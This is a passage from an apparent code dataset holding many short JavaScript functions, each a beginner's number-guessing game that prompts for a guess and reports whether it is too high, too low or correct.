You have 4 attempts'));\n do{\n if (guess > myNum){\n turns--;\n alert('Too high, try again. You have ' + turns + ' remaining');\n guess = parseInt(prompt ('What is my number?'));\n } if (guess < myNum){\n turns--;\n alert('Too low, try again. You have ' + turns + ' remaining');\n guess =parseInt(prompt ('What is my number?'));\n } if (turns < 1) {\n alert('Hey ' + name + '! I said you were out of turns!');\n } if (guess === myNum){\n alert('OMG! You are right!');\n score++;\n }\n }\n while (guess !== myNum && turns >= 1);\n\n}","function askIfPlayerWantsToPlay() {\n if (roundCount == 10) {\n alert(\"Sorry your turns are up\");\n } else {\n let tryAgain = prompt('You can try up to 10 times. Would you like to try to guess a number. Type \"yes\" or \"no\"');\n alert(tryAgain);\n if (tryAgain == \"no\") {\n alert(\"Quitting so soon? roundCount \" + roundCount);\n return;\n } else if (tryAgain != \"yes\") {\n alert('Please enter \"yes\" or \"no\"');\n } else {\n alert(\"Good Luck!\");\n }\n roundCount = roundCount++;\n validateUserInputIsNumber();\n }\n\n}","function fullGuessNumber(){\n var userGuessNumber =prompt('Guess a number between 1-20, you\\'ll have 4 chances with this being your first :)');\n var attemptTries;\n // using parseInt() will turn whatever into a number or using Number()\n\n\n for(attemptTries = 0;attemptTries<4;attemptTries++){\n var userGuessedThisNumber = parseInt(userGuessNumber);\n if(attemptTries===3){\n userGuessNumber = prompt('Last chance! tip: it\\'s between 9 and 12 hehe');\n userGuessedThisNumber= parseInt(userGuessNumber);\n if(userGuessedThisNumber=== 11){\n alert('Wow you guessed it! Nice job!');\n userScore++;\n break;\n }else{\n alert('You failed all guesses,it was 11. oh well');\n break;\n }\n }\n if(userGuessedThisNumber === 11){\n alert('Wow you guessed it. Nice job!');\n userScore;\n break;\n }else if(userGuessedThisNumber< 11){\n userGuessNumber= prompt('Wrong Answer! A bit low try, again! Guess a number between 1-20');\n } else if(userGuessedThisNumber> 11){\n userGuessNumber= prompt('Wrong answer! A bit high, try again.Guess a number between 1-20');\n }else{\n userGuessNumber=prompt('Hey please put a correct choice, a number between 1-20! this counts as wrong. Try again.Guess a number between 1-20');\n\n }\n\n\n }\n}","function isMatches(window) {\n var userNumber = window.prompt(\"Please enter a number between 1 to 10\", \"1\");\n var randomNumber = Math.floor(Math.random() * 10 + 1);\n var result;\n\n userNumber = parseInt(userNumber);\n\n if (userNumber === randomNumber) {\n result = \"Good Work\";\n } else {\n result = \"Not matched\";\n }\n\n return result;\n}","function newGame(){\n\t\tsecretNumber = Math.floor(Math.random()*100) + 1; //Gernerates #\n\t\t//console.log('secretNumber', secretNumber); shows secret number in console.\n\n\t\tcounter = 0;\n\t\tdisplay.innerHTML = counter;\n\n\t\t$('.guessBox').html(''); //resets html and results\n\n\t\tdocument.getElementById('feedback').innerHTML = \"Make Your Guess!\";\n\n\t}","function compareAndInform() {\n var resultSection = document.querySelector('.response');\n if (inputAsNumber() > max ) {\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\n } else if (inputAsNumber() < min) {\n resultSection.innerText = `Range Exceeded! You need to guess a number between ${min} and ${max}`;\n } else if (inputAsNumber() < randomNumber) {\n resultSection.innerText = \"That is too low\";\n } else if (inputAsNumber() > randomNumber) {\n resultSection.innerText = \"That is too high\";\n } else if (inputAsNumber() === randomNumber) {\n resultSection.innerText = \"You guessed it!\"\n increaseValueOnWin();\n console.log(randomNumber);\n } else {\n resultSection.innerText = `You need to guess a NUMBER between ${min} and ${max}`;\n }\n}","function hint()\n{ // Begin hint\n // a) Store the input value in the following variable.\n //REMEMBER, you will need casting as input values are\n //always strings\n guess = Number(input.value);\n\n // d) Compare guess to current number\n if( guess < currentNumber)\n { // if guess is less than currentNumber\n // e) Set the message text to say '{guess} is lower\n //than the secret number.' using string interpolation (templates)\n message.textContent = `${guess} is lower than the secret number.`;\n }\n else\n { // otherwise...\n // f) Set the message text to say '{guess} is higher than the secret number.' using string interpolation (templates)\n message.textContent = `${guess} is higher than the secret number.`;\n }\n\n // TAKE IT FURTHER: Don't keep this if it doesn't work!)\n // tf a) Using the math absolute function, find the difference\n // between the guess and the current number\n diff = Math.abs(guess - currentNumber);\n\n // tf b) Create a for loop that starts at 0, checks to see if\n //it's less than 100, and increments by 10\n for(var i=0; i<100; i+=10)\n { // Begin loop\n // tf c) if the diff is less than your loop initializer\n //variable (usually it's i) AND diff is NOT less than 5\n if(diff < i && diff > 5)\n { // if diff...\n // tf d) Set message with the following test:\n // `\\nYou are within ${i} of the secret number.`\n message.textContent = `\\nYou are within ${i} of the secret number.`;\n // tf e) Exit the loop if this condition is true\n break;\n } // ...end if\n } // End loop\n\n // tf f) If diff is less than 5\n if(diff < 5)\n { // Begin if\n // g) Append to the message text:\n // `\\nYou are within 5 of the secret number.`\n message.textContent += `\\nYou are within 5 of the secret number.`;\n } // End if\n // END OF TAKE IT FURTHER\n} // End hint","function makeGuess(num){\n let min = 1\n let max = 5\n\n return num === (Math.floor(Math.random() * (max - min + 1)) + min)\n}","function computerguess(Answer) {\n\n if (Answer === 'C') {\n say('Your number was ' + guessedNumber + '!\\n I guessed it in ' + amoutOfGuesses + ' tries.');\n\n } else {\n\n\n if (Answer === 'H') {\n firstArg = guessedNumber + 1\n amoutOfGuesses++;\n }\n if (Answer === 'L') {\n secondArg = guessedNumber - 1\n amoutOfGuesses++;\n }\n guessedNumber = getRandom(firstArg, secondArg);\n if (firstArg > secondArg) {\n say('I think you are trying to cheat.');\n startGame()\n }\n say('Is ' + guessedNumber + ' your number?');\n }\n}","function newgame(){\n \t\tanwser = Math.floor((Math.random() * 100) + 1);\n\t\tcount = 0;\n\t\t$('#count').text(count);\n\t\t$('#feedback').text('Make your Guess!');\n\t\tguesses = [];\n\t\t$('#guessList').children().hide();\n\t}"],"string":"[\n \"function randomNumber() {\\n\\tif (getyx(y,x) =='Y3X23' || getyx(y,x) =='Y3X2') {\\n\\t\\tvar randomNumber = (Math.floor(Math.random() * 5) + 1);\\n\\t\\tvar bet = prompt('Please make a wager');\\n\\t\\tvar guess = prompt('Please pick a number from 1 to 5');\\n\\t\\t\\tif(parseInt(guess) == randomNumber) {\\n\\t\\t\\talert('You just increased your score by ' + bet + ' !')\\n\\t\\t\\tscore += parseInt(bet);\\n\\t\\t\\tscoreCheck();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\talert('Sorry you just lost ' + bet + ' health points :(');\\n\\t\\t\\thealth -= parseInt(bet);\\n\\t\\t\\tscoreCheck();\\n\\t\\t}\\n\\t}\\n}\",\n \"function processValidGuess(guess) {\\n if (guess < aRandomNumber) {\\n $('.result-line').text(\\\"That is too low\\\");\\n } else if (guess > aRandomNumber) {\\n $('.result-line').text(\\\"That is too high\\\");\\n } else {\\n increaseWins();\\n increaseMinMax();\\n $('.result-line').text(\\\"BOOM! Click Reset to continue playing\\\");\\n }\\n }\",\n \"function provideHint(){\\n\\tvar guessesLeft = (5 - (arrayOfGuesses.length));\\n\\tvar hintArray = [winningNumber];\\n\\tfor (var i = 1; i < 2*guessesLeft; i++) {\\n\\t\\tvar rand = generateWinningNumber();\\n\\t\\thintArray.push(rand);\\n\\t}\\n\\tshuffle(hintArray);\\n\\tchangeAnn(\\\"One of these is the answer: \\\" + hintArray);\\n}\",\n \"function guessing() {\\n\\tconst guess = Number(document.querySelector(\\\".guess\\\").value);\\n\\t// ----- Invalid input\\n\\tif (guess < 1 || guess > 20) {\\n\\t\\tchangeText(\\\".number\\\", guess);\\n\\t\\tchangeText(\\n\\t\\t\\t\\\".message\\\",\\n\\t\\t\\t\\\"Invalid value, please select number between 1 and 20\\\"\\n\\t\\t);\\n\\t} // ----- Correct Guess\\n\\telse if (guess === randomNumber) {\\n\\t\\tchangeText(\\\".number\\\", randomNumber);\\n\\t\\tdocument.querySelector(\\\"body\\\").style.backgroundColor = \\\"green\\\";\\n\\t\\tdocument.querySelector(\\\".number\\\").style.width = \\\"30rem\\\";\\n\\t\\tscore++;\\n\\t\\tchangeText(\\\".score\\\", score);\\n\\t\\tchangeText(\\\".message\\\", \\\"You are Correct!\\\");\\n\\t\\t//Validate that score is higher than highscore and, if true, set highscore\\n\\t\\tscore > highscore ? (highscore = score) : highscore;\\n\\t\\tchangeText(\\\".highscore\\\", highscore);\\n\\t} // ----- Low Guess\\n\\telse if (guess < randomNumber) {\\n\\t\\tlowHighGuess(\\\"low\\\");\\n\\t} // ----- High Guess\\n\\telse if (guess > randomNumber) {\\n\\t\\tlowHighGuess(\\\"high\\\");\\n\\t}\\n}\",\n \"function checkGuess(guess) {\\n // Write your code here\\n if (guess == randomNumber){\\n alert(\\\"You got it!\\\");\\n }\\n else {\\n alert(\\\"Try again\\\");\\n }\\n }\",\n \"function enterAGuess(guessedNumbered){\\n\\n var differenceNum = Math.abs(guessedNumbered - randomNum);\\n if (differenceNum == 0){\\n \\t//alert(\\\"You did it!\\\");\\n \\t$(\\\"h2\\\").text(\\\"You Won!\\\");\\n } \\n \\telse if (differenceNum >= 50){\\n \\t\\t$(\\\"h2\\\").text(\\\"Colder\\\");\\n \\t}\\n else if (differenceNum >= 30){\\n \\t$(\\\"h2\\\").text(\\\"Cold\\\");\\n }\\n else if (differenceNum >=20){\\n \\t$(\\\"h2\\\").text(\\\"Hot\\\");\\n }\\n else if (differenceNum >=10){\\n \\t$(\\\"h2\\\").text(\\\"Hotter\\\");\\n } \\n /*---- counting the number of guesses */\\n countTrackGuesses(guessedNumbered);\\t\\n }\",\n \"function processGuess() {\\n var guess = document.getElementById(\\\"inputText\\\").value;\\n var hint = document.getElementById(\\\"hintMessage\\\");\\n hint.innerHTML = guess;\\n var recent = document.getElementById(\\\"inputText\\\").value;\\n recentGuess.innerHTML = guess;\\n // If the userGuess is lower than the random number the h2 will tell the user their guess is too low.\\n if (guess < rand) {\\n hint.innerHTML = \\\"Hint: Your guess is too low, please try again.\\\"\\n };\\n // If the userGuess is higher than the random number the h2 will tell the user their guess is too high.\\n if (guess > rand) {\\n hint.innerHTML= \\\"Hint: Your guess is too high, please try again.\\\"\\n };\\n // If the user guess is equal to the random number the user wins!\\n if (guess == rand) {\\n hint.innerHTML= \\\"Congrats, victory is yours!\\\"\\n };\\n guess = document.getElementById(\\\"inputText\\\").value = \\\"\\\";\\n}\",\n \"function guessLogic(guess){\\n if (randomNum > guess){\\n \\tdocument.getElementById(\\\"userGuess\\\").innerText = guess;\\n \\tdocument.getElementById(\\\"statement\\\").innerText = \\\"Your last guess was\\\";\\n \\tdocument.getElementById(\\\"response\\\").innerText = \\\"That is too low\\\";\\t\\n }\\n else if (randomNum < guess ){\\n \\t\\tdocument.getElementById(\\\"userGuess\\\").innerText = guess;\\n \\t\\tdocument.getElementById(\\\"statement\\\").innerText = \\\"Your last guess was\\\";\\n \\t\\tdocument.getElementById(\\\"response\\\").innerText = \\\"That is too high\\\";\\t\\n }\\n else{\\n \\t\\twinner(guess)\\n }\\n}\",\n \"function letsGuess() {\\n // sugenereuoti skaiciu nuo 1 iki 10 sveika skaiciu\\n let randomNumber = Math.floor(Math.random() * 10) + 1;\\n // console.log(\\\"randomNumber\\\", randomNumber);\\n // paprasyti user input ir patikrtinti ar pataikyta\\n let userNumber = prompt(\\\"Iveskite skaiciu\\\");\\n // console.log(\\\"userNumber\\\", +userNumber);\\n\\n if (randomNumber === +userNumber) {\\n console.log(\\\"Pataikete, sveikinimai\\\");\\n } else {\\n console.log(\\\"Neatspejote, bandykite dar karta. Kompiuteris spejo kad sptesit\\\", randomNumber);\\n }\\n}\",\n \"function checkGuess() {\\n\\n\\tif (playersGuess==winningNumber) {\\n\\t\\t\\t$(\\\"#winner\\\").text(\\\"!!! IT'S YOU. YOU WON !!!\\\");\\n\\t\\t\\talert(\\\"WE HAVE A WINNER!!!\\\");\\n\\t\\t\\t//add some sick congratulatory elements\\n\\t} else {\\n\\t\\t\\tlowerOrHigher();\\n\\t}\\n}\",\n \"function makeGuess() {\\n if (hasGameEnded(guesses, secret)) {\\n return;\\n }\\n if (isValidInput(guess)) {\\n setStatus(\\\"\\\");\\n console.log(\\\"secret: \\\" + secret);\\n setGuesses(guesses.concat(guess));\\n setGuess(\\\"\\\");\\n setHints(hints.concat(getHint(secret, guess)));\\n console.log(\\\"num guesses: \\\" + guesses.length);\\n } else {\\n console.log(\\\"bad input\\\");\\n setStatus(\\\"A guess must be a 4-digit unique integer (1-9)\\\");\\n }\\n }\",\n \"function guessFunction(userNum, randomNum) {\\n if (userNum === randomNum) {\\n boom();\\n lastGuessNumber.style.color = \\\"#1abc9c\\\";\\n guessBtn.disabled = true;\\n setRangeValue(minNum -= 10, maxNum += 10);\\n } else if (userNum > randomNum) {\\n guessText.innerText = \\\"That is too high\\\";\\n lastGuessNumber.style.color = \\\"#ed5a64\\\";\\n } else {\\n guessText.innerText = \\\"That is too low\\\";\\n lastGuessNumber.style.color = \\\"#ed5a64\\\";\\n }\\n}\",\n \"function guessingGame() {\\n\\tvar randomNumber = Math.ceil(20 * Math.random());\\n\\tvar guess = Number(prompt(\\\"Try a number between 1 and 20!\\\"));\\n\\tvar numTries = 1;\\n\\tif (guess === randomNumber) {\\n\\t\\talert(\\\"Congratulations! You guessed correctly on the first try.\\\");\\n\\t}\\n\\twhile (guess !== randomNumber) {\\n\\t\\tguess = Number(prompt(\\\"Try again.\\\"));\\n\\t\\tnumTries++;\\n\\t\\tif (guess === randomNumber) {\\n\\t\\t\\talert(\\\"Congratulations! It took you \\\" + numTries + \\\" tries.\\\");\\n\\t\\t\\treturn(guess);\\n\\t\\t}\\n\\t}\\t\\n}\",\n \"function checkGuess(){\\r\\n guesstext=guesstext.toUpperCase();//country array is in upper case, so change guess to uppercase\\r\\n if(guesstext==answer){//if the guess was correct\\r\\n answer=pickAnswer();//find a new answer\\r\\n chances=3; score+=10; guess.value=\\\"\\\";//reset chances to 3, add 10 to score and clear guess input field\\r\\n alert(guesstext+\\\"! You're right!\\\");//congratulate the user\\r\\n }\\r\\n else{chances-=1; guess.value=\\\"\\\";//guess is not correct, subtract one chance and clear the input field\\r\\n if(chances>0){alert(\\\"Nope. Try again.\\\");}//if there are chances left, ask user to try again\\r\\n }\\r\\n showGui();// turns on the engine and updates info\\r\\n }\",\n \"function guess() {\\n\\n // WRITE YOUR EXERCISE 4 CODE HERE\\n let number=Math.floor(Math.random()*999)+1;\\n let attempts=0;\\n let correct_answer = false;\\n while (correct_answer==false) {\\n let guess=prompt('enter your guess')\\n if(guess>=1 && guess<=1000 && Number.isInteger(Number(guess))){\\n console.log(\\\"1\\\");\\n if (number==guess){\\n attempts++;\\n correct_answer=true;\\n alert(\\\"Correct Answer!\\\")\\n document.getElementById('guess-output').innerHTML=\\\"Number: \\\"+number+\\\"Attempts: \\\"+attempts;\\n }\\n else if(guess>number){\\n attempts++;\\n alert(\\\"too high\\\")\\n }\\n else if(guess
Scorching!!!
\\\")\\n\\t\\t}\\n\\t\\t//check errors\\n\\t\\telse if (playersGuess > 100) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"Remember between 1 - 100!
\\\")\\n\\t\\t}\\n\\t\\telse if (isNaN(playersGuess)) {\\n\\t\\t\\t$(\\\".text\\\").append (\\\"Not a number
\\\")\\n\\t\\t}\\n\\t\\t//check and update\\n\\t\\telse {\\n\\t\\t\\t$(\\\".thermometer\\\").html (\\\"\\\"+playersGuess+\\\"°\\\")\\n\\t\\t\\tWarmerOrColder(); \\n\\t\\t}\\n\\t}\",\n \"function randomizer () {\\n // convert the users number to an integer\\n userGuess = document.getElementById('input').value\\n userGuess = parseInt(userGuess)\\n\\n // generate random number between 1 and 6\\n randomNumber = (Math.random() * 6) + 1\\n randomNumber = parseInt(randomNumber)\\n // compare users guess to random numbers\\n if (userGuess === randomNumber) {\\n document.getElementById('answer').innerHTML = 'you win!'\\n }\\n}\",\n \"function guessNumber() {\\n console.log(\\\"our random number ==\\\" + randomNumber);\\n let guess=parseFloat(inputValue.value);\\n if(guess === \\\"\\\" || guess <= 0 || guess > 100 || isNaN(guess)){\\n msg[0].innerHTML =\\\"Please enter a number between 1 and 100\\\";\\n } \\n else{\\n tryChances();\\n if(guess > randomNumber){\\n msg[0].innerHTML =\\\"Number is too high\\\";\\n }\\n else if(guess < randomNumber){\\n msg[0].innerHTML =\\\"Number is too low\\\";\\n }\\n else if(guess === randomNumber) {\\n msg[0].innerHTML =\\\"You win\\\";\\n btnGuess.disabled=true;\\n return;\\n }\\n }\\n}\",\n \"function guessNumber()\\r\\n{\\t\\r\\n\\r\\n\\r\\n\\tlet userInputInt = document.getElementById(\\\"userGuess\\\").value; //grabbing the input from the user and making it a number so it doesn't come out with NaN\\r\\n\\t\\r\\n\\t if (userInputInt == randomNumber)\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"YOU GOT IT!!\\\" //making an if statement that prints out the user got it if the input matches the random number\\r\\n\\t\\tdocument.getElementById(\\\"check\\\").disabled=true; //disabling the check button when the user gets it correct so it forces them to restart if they decide to\\r\\n\\t}\\r\\n\\r\\n\\telse if (userInputInt > randomNumber) //else if statement that shows if the input is greater than the random number\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"LOWER!!\\\"\\r\\n\\t\\r\\n\\t\\tnumberOfGuesses-- //everytime the user guesses wrong the number of guesses decrease by 1\\r\\n\\t\\tdocument.getElementById(\\\"numberOfGuesses\\\").innerHTML = \\\"Number of Guesses: \\\" + numberOfGuesses; //changing the number of guesses displayed\\r\\n\\t}\\r\\n\\t\\r\\n\\telse\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"HIGHER!!\\\"\\r\\n\\t\\tnumberOfGuesses-- \\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//if the input number is lower the output displays a statement that tells the user to guess higher\\r\\n\\t\\tdocument.getElementById(\\\"numberOfGuesses\\\").innerHTML = \\\"Number of Guesses: \\\" + numberOfGuesses;\\r\\n\\t}\\r\\n\\r\\n\\t////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\\r\\n\\tif (numberOfGuesses == 0)\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"check\\\").disabled=true; //disabling the button after the user runs out of guesses\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"Out of Guesses..\\\";\\r\\n\\t\\tsetTimeout(numGuessSleep, 1000);\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\t//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\\r\\n\\r\\n\\tif (userInputInt > 19) //if the user inputs a number greater than the greatest random number it will throw an alert and tell you cant type over 19 and it restarts\\r\\n\\t{\\r\\n\\t\\talert(\\\"You can't type any number over 19\\\");\\r\\n\\t\\trestartGame();\\r\\n\\t}\\r\\n\\r\\n\\telse if (userInputInt == \\\"\\\") //if the user types no input it will display a sentence\\r\\n\\t{\\r\\n\\t\\tdocument.getElementById(\\\"outPut\\\").innerHTML = \\\"Type something..\\\";\\r\\n\\t\\tnumberOfGuesses = 5; //without this the number of guesses will decrease \\r\\n\\t\\tdocument.getElementById(\\\"numberOfGuesses\\\").innerHTML = \\\"Number of Guesses: \\\" + numberOfGuesses;\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\telse if (userInputInt < MIN) //if the user inputs a number less than the lowest possible number it also throws an alert and tells you cant type beow 1 and it restarts\\r\\n\\t{\\r\\n\\t\\talert(\\\"You can't type any number below 1.\\\");\\r\\n\\t\\trestartGame(); //running the restart game function\\r\\n\\t}\\r\\n\\r\\n\\r\\n}\",\n \"function guessing_game(guess) {\\n var num = Math.ceil(Math.random() * 10);\\n\\n if (guess == num)\\n alert('Good Work');\\n else\\n alert('Not matched, the number was ' + num);\\n}\",\n \"function guessNumber() {\\n let userNumber = parseInt(userInput.value);\\n let text = \\\"\\\";\\n\\n if (userNumber > randomNumber && userNumber <= 100) {\\n text = \\\"demasiado alto\\\";\\n } else if (userNumber < randomNumber) {\\n text = \\\"demasiado bajo\\\";\\n } else if (userNumber === randomNumber) {\\n text = \\\"has ganado campeona\\\";\\n } else if (userNumber > 100 || userNumber === 0) {\\n text = \\\"el número debe estar entre 1 y 100\\\";\\n }\\n\\n counter();\\n showFeedback(text);\\n}\",\n \"function checkGuess(){\\n \\n // Increase the guess counter by 1\\n counterGuess++;\\n \\n // get value from the input element\\n var guessedNum = $numberInput.val();\\n console.log(guessedNum);\\n \\n // test if value entered is valid\\n var numIsValid = validateGuess(guessedNum, $messageOutput);\\n \\n // Check Guess against random number\\n if(numIsValid === true){\\n\\tif(guessedNum > ranNum){\\n\\t\\t$messageOutput.text('To high, try a lower number');\\n\\t}else if(guessedNum < ranNum){\\n\\t\\t$messageOutput.text('To low, try a higher number');\\t\\n\\t}else{\\n\\t\\tendGame(counterGuess);\\t\\t\\n\\t}\\n } \\n\\n} // end checkGuess function\",\n \"function guessing_game(guess) {\\n // Get a random integer from 1 to 10 inclusive\\n var x=Math.ceil(10*Math.random());\\n if(x==guess)\\n console.log(\\\"Good Work!\\\");\\n else\\n console.log(\\\"Not Matched!Value is \\\"+x);\\n return x;\\n \\n}\",\n \"function checkguess() { \\n\\n// USER GUESS TAKEN FROM TEXT BOX, CONVERTED FROM A STRING AND STORED TO VAR\\nvar userguess = parseInt(document.getElementById(\\\"input1\\\").value);\\n\\t\\n// IF THE GUESS IS BIGGER \\n\\tif (userguess > randomnum) {\\n\\t\\n//COUNT CLICKS VARIABLE CALLED ON AND ADDS +1 \\n\\t\\t countClicks++;\\n// RESULT \\n result = \\\"Your guess of \\\" + userguess + \\\" is higher than the magic number.You have had \\\" + countClicks + \\\" guesses so far.\\\";\\n\\t\\t \\n } \\n\\t\\telse if (userguess < randomnum) {\\n\\t\\t\\t countClicks++;\\n result =\\\"Your guess of \\\" + userguess + \\\" is lower than the magic number.
You have had \\\" + countClicks + \\\" guesses so far.\\\";\\n\\t\\t \\n } \\n\\t\\telse {\\n\\t\\t\\tcountClicks++;\\n result = \\\"Success, You win! You took \\\" + countClicks + \\\" guesses.\\\";\\n\\t\\t\\t\\n } \\n// SENDS THE RESULT TO THE DOM\\n\\t document.getElementById(\\\"result\\\").innerHTML = result;\\n\\t\\n} //END OF FUNCTION - dont delete!\",\n \"function userGuess(){\\n var input = parseInt($(\\\"#userGuess\\\").val());\\n var feedback = [\\\"Congrats you won! Click New Game to start another game\\\", \\\"Please enter a number\\\", \\\"Pick a number btw 1-100\\\", \\\"Very Hot\\\", \\\"Hot\\\", \\\"Warm\\\", \\\"Cold\\\", \\\"Very Cold\\\", \\\"Cold as Vanilla Ice's career\\\"]\\n if (input == random) {\\n updateFeedback(feedback[0]);\\n } else if (input >= 101 || input == 0) {\\n $(\\\"#userGuess\\\").val(\\\"\\\");\\n $(\\\"#count\\\").text(--i);\\n updateFeedback(feedback[2]);\\n } else if (random - 5 <= input && input <= random + 5) {\\n updateFeedback(feedback[3]);\\n } else if (random - 10 <= input && input <= random + 10) {\\n updateFeedback(feedback[4]); \\n } else if (random - 15 <= input && input <= random + 15) {\\n updateFeedback(feedback[5]);\\n } else if (random - 25 <= input && input <= random + 25) {\\n updateFeedback(feedback[6]);\\n } else if (random - 30 <= input && input <= random + 30) {\\n updateFeedback(feedback[7]);\\n } else if (isNaN(input)) {\\n updateFeedback(feedback[1]);\\n $(\\\"#userGuess\\\").val(\\\"\\\");\\n $(\\\"#count\\\").text(--i);\\n } else {\\n updateFeedback(feedback[8]);\\n }\\n }\",\n \"function isGuessCorrect(randomNumber, answer) {\\n //condition that checks to see if the number of guesses made by the user is still less than the total number of allowed guesses\\n if (numberGuessed < numberOfGuessesAllowed) {\\n //condition that checks if the guess is lesser than the goal\\n if (answer > randomNumber) {\\n setTimeout(function () {\\n $(\\\"#guess\\\").html(`
Guess too high. Guess Again
`);\\n }, 1000);\\n }//condition that checks if the guess is greater than the goal\\n if (answer < randomNumber) {\\n setTimeout(function () {\\n $(\\\"#guess\\\").html(`Guess too low. Guess Again
`);\\n }, 1000);\\n }//condition that checks if the guess is the same as the goal\\n if (answer === randomNumber) {\\n //call back function that displays the end game result \\n setTimeout(function () {\\n $(\\\"body\\\").html(`GAME WON!
Number of times guessed : ${numberGuessed}
`);\\n }, 1000);\\n //callback function that displays the maximum number of guesses the user can make as an animation on screen\\n setTimeout(function () {\\n $(\\\"#maxnumberofguesses\\\").html(`Maximum guesses allowed : ${numberOfGuessesAllowed}
`);\\n }, 1000);\\n }\\n else {\\n $(\\\"body\\\").html(`\\n
\\n `);\\n $(\\\"#restartgame\\\").click(function () {\\n location.reload();\\n });\\n }\\n }\",\n \"function newGame() {\\n\\tnum = Math.round(Math.random() * 50);\\n\\tguess.placeholder=\\\"Make your first guess\\\";\\n\\tdocument.getElementById(\\\"output\\\").innerHTML=\\\"You have five attempts to guess my number between 1 and 50\\\";\\n\\treset.style.display=\\\"none\\\";\\n}\",\n \"function check_guess() {\\n \\n count_timer();\\n \\n var guess_from_user = document.getElementById(\\\"number_guessed\\\").value; // this grabs the input from the user and stores it in the variable guess_from_user\\n \\n var output; // the result \\n \\n number_guesses_left--;\\n \\n number_of_guesses++;\\n \\n \\n if (isNaN(guess_from_user) || guess_from_user < 1 || guess_from_user > 100)\\n { \\n output = \\\"Please enter a valid number\\\";\\n } \\n \\n if (guess_from_user > random_number && guess_from_user > 0 && guess_from_user < 101)\\n { \\n output = \\\"You guessed to high, you have \\\" + number_guesses_left + \\\" left.\\\";\\n \\n }\\n \\n if (guess_from_user < random_number && guess_from_user > 0 && guess_from_user < 101)\\n { \\n output = \\\"You guessed to low, you have \\\" + number_guesses_left + \\\" left\\\";\\n }\\n \\n if (guess_from_user == random_number) // if the user guesses correctly an alert box will appear\\n {\\n alert_box(\\\"Congratulations you guessed the number \\\" + random_number + \\\" correctly, it only took you \\\" + number_of_guesses + \\\" time(s), would you like to play again?\\\");\\n }\\n \\n if (number_guesses_left == 0) // if the user does not guess within the amount of tries they lose\\n {\\n alert_box(\\\"You lose, the secret number was \\\" + random_number + \\\", would you like to play again?\\\");\\n }\\n \\n \\n document.getElementById(\\\"the_output\\\").innerHTML = output; // this displays the output based on what the user inputs regarding the loop above \\n }\",\n \"function checkGuess(){\\n\\t\\t// add code here\\n\\t\\tif(playersGuess === winningNumber) {\\n\\t\\t\\t$('#domMessage').text('Good catch, YOU WIN!!!!');\\n\\t\\t\\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'green'});\\n\\t\\t\\t$(\\\".guess\\\").hide();\\n\\t\\t\\t$(\\\"#guessmessage\\\").hide();\\n\\t\\t\\t$(\\\"#Hint\\\").hide();\\n\\t\\t} \\n\\n\\t\\telse if(duplicateCheck(playersGuess)===true) {\\n\\t\\t\\t$('#domMessage').text('You already tried this number; input a different one ');\\n\\t\\t\\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\\n\\t\\t}\\n\\n\\t\\telse if(guessRemaining >=1) {\\n\\t\\t\\tguessRemaining--;\\n\\t\\t\\tattempts.push(playersGuess);\\n\\n\\t\\t\\tif(guessRemaining===1) {\\n\\t\\t\\t\\t$('#domMessage').text('Error. This is your last guess ! ');\\n\\t\\t\\t\\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'orange', 'font-family': 'palatino'});\\n\\t\\t\\t\\tguessMessage();\\n\\t\\t\\t} else if(guessRemaining>1){\\n\\t\\t\\t\\t$('#domMessage').text('You have ' + guessRemaining + ' remaining guesses.');\\n\\t\\t\\t\\t$('#domMessage').css({'font-size': '50px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'black', 'font-family': 'palatino'});\\n\\t\\t\\t\\tguessMessage();\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\telse if(guessRemaining===0) {\\n\\t\\t\\t$('#domMessage').text('GAME OVER. Reset if you want to give it another try.');\\n\\t\\t\\t$('#domMessage').css({'font-size': '60px', 'font-weight': 'bold', 'text-align': 'center', 'margin': '0', 'color': 'white', 'font-family': 'palatino','background-color':'red'});\\n\\t\\t\\t$(\\\".guess\\\").hide();\\n\\t\\t\\t$(\\\"#guessmessage\\\").hide();\\n\\t\\t\\t$(\\\"#Hint\\\").hide();\\n\\t\\t}\\n\\t}\",\n \"function decideToGenerate() {\\n if (numberOfGuesses === 1) {\\n generateNumber();\\n }\\n}\",\n \"function usersGuess() {\\n // to get the value entered by the user\\n var inputGuess = document.getElementById('guessed-field').value;\\n // to parse the user input\\n var userInput = parseInt(inputGuess);\\n // to check if the user input is an integer which is a value above 1 and below 45\\n if (isNaN(userInput) || userInput < 1 || userInput > 45) {\\n clearValue();\\n // to display a text alert if the conditions are not met\\n textBlink();\\n displayInnerHtml('alert-text', 'Please enter a number between 1 & 45');\\n return;\\n }\\n // to check if the user input is equal to the generated number\\n if (generatedNumber === userInput) {\\n // message display as animation\\n textBlink();\\n document.getElementById('background').style.background = \\\"url('../mind-game/images/youwon_mobile.png')\\\";\\n document.getElementById('end-game').click();\\n displayInnerHtml(\\n 'popup-text',\\n 'CONGRATS!! You guessed it right in try no' + ' ' + (5 - numberOfTry)\\n ); \\n }\\n // to check if the user input is lesser than the generated number\\n else if (generatedNumber > userInput) {\\n numberOfTry -= 1;\\n // to check if the number of guesses is equal to zero\\n if (numberOfTry === 0) {\\n // message display as animation\\n textBlink();\\n document.getElementById('end-game').click();\\n displayInnerHtml(\\n 